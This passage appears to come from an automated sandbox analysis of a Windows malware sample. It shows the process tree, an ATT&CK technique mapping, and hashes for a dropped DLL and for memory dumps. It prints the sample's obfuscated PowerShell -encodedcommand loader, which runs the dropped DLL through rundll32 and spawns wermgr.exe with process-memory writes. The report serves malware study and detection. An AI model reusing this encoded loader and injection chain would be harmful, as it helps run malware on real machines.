    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand JABJAGQAaQBvAG0AbwBsAG8AZwB5ACAAPQAgACIAWgBhAHAAdABvAGUAYwBhAEYAbwBvAHQAbABpAGMAawBpAG4AZwAiADsAJABGAHIAaQBnAGgAdABEAGUAbQBhAHQAaQBhAGMAZQBhAGUAIAA9ACAAIgBmAHIAdQBtAHAAaQBzAGgAbgBlAHMAcwBOAG8AbQBpAG4AZQAiADsAYwBtAGQAIAAvAGMAIAByAHUAbgBkAGwAbAAzADIAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABuAGUAbwB0AHIAZQBtAGEAdABhAFMAdABlAG0AbQBpAGUAcwB0AC4AZABsAGwALABtAG8AcgBlADsAJABzAHQAbwBtAGEAYwBoAGYAdQBsAFQAYQBsAGMAbwBtAGkAYwBhAGMAZQBvAHUAcwAgAD0AIAAiAGcAbABhAGkAcgB5ACIAOwAkAEUAbQBiAGEAcgBrAHMAQQBsAGcAZQBiAHIAYQAgAD0AIAAiAEkAbgBlAHgAYQBjAHQAbAB5AEMAbwBpAGwAeQBlAGEAcgAiADsAJABSAGUAYwB1AHIAdABhAGkAbgAgAD0AIAAiAEgAZQB0AGUAcgBvAHQAaQBjACIAOwAkAFMAaABvAHIAdAB6AHkAUQB1AGEAZAByAGkAcABsAGkAYwBhAHQAZQAgAD0AIAAiAGwAZQBnAGEAdABpAHYAZQAiADsA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 C:\ProgramData\neotremataStemmiest.dll,more
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3588
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\ProgramData\neotremataStemmiest.dll,more
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3172
      - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 C:\ProgramData\neotremataStemmiest.dll,more
        6⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4988
        
        C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

neotremataStemmiest.dll

Path C:\ProgramData\neotremataStemmiest.dll
Size 1.8MB
SHA256 04046a746d38817016b14d1b311b5a465a5eb5726621b0272adf52ea0da51665
MD5 4c508c6c2b4635890e15564b66aff807
SHA1 bed528ddda934b60d75b631657bd7f5c4c21da7b
SHA512 15a7ffc4ab28d80cfd8617108bf14c4b762bdaa92cf96cac1cca9b1d5c9fa60cc0dbf34b0e61982675282ee9baedbc618693d32373c0d489ce599896b0a8129f
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCupTyk:SA2H3li98M14jZYMyt3rCrk
MD5 SHA1 SHA512 SSDEEP

Submit Download

neotremataStemmiest.dll

Path C:\ProgramData\neotremataStemmiest.dll
Size 1.8MB
SHA256 04046a746d38817016b14d1b311b5a465a5eb5726621b0272adf52ea0da51665
MD5 4c508c6c2b4635890e15564b66aff807
SHA1 bed528ddda934b60d75b631657bd7f5c4c21da7b
SHA512 15a7ffc4ab28d80cfd8617108bf14c4b762bdaa92cf96cac1cca9b1d5c9fa60cc0dbf34b0e61982675282ee9baedbc618693d32373c0d489ce599896b0a8129f
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCupTyk:SA2H3li98M14jZYMyt3rCrk
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9
MD5 33e9dd1bc41e70c4fbdf04b85cf36ff4
SHA1 0433625fae735abc2f11249456e212dfca1473a9
SHA512 d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_omvodv5x.pol.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_omvodv5x.pol.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/228-157-0x000001D665170000-0x000001D665180000-memory.dmp

Download

memory/228-158-0x000001D665170000-0x000001D665180000-memory.dmp

Download

memory/1336-145-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

Download

memory/1336-141-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

Download

memory/1336-140-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

Download

memory/1336-138-0x0000027F5F500000-0x0000027F5F522000-memory.dmp

Download

memory/3840-167-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-166-0x00000000009C0000-0x00000000009C2000-memory.dmp

Download

memory/3840-173-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-179-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-180-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-181-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-182-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/3840-185-0x0000000000990000-0x00000000009B4000-memory.dmp

Download

memory/4988-161-0x0000000010000000-0x0000000010024000-memory.dmp

Download

memory/4988-160-0x0000000000D10000-0x0000000000D13000-memory.dmp

Download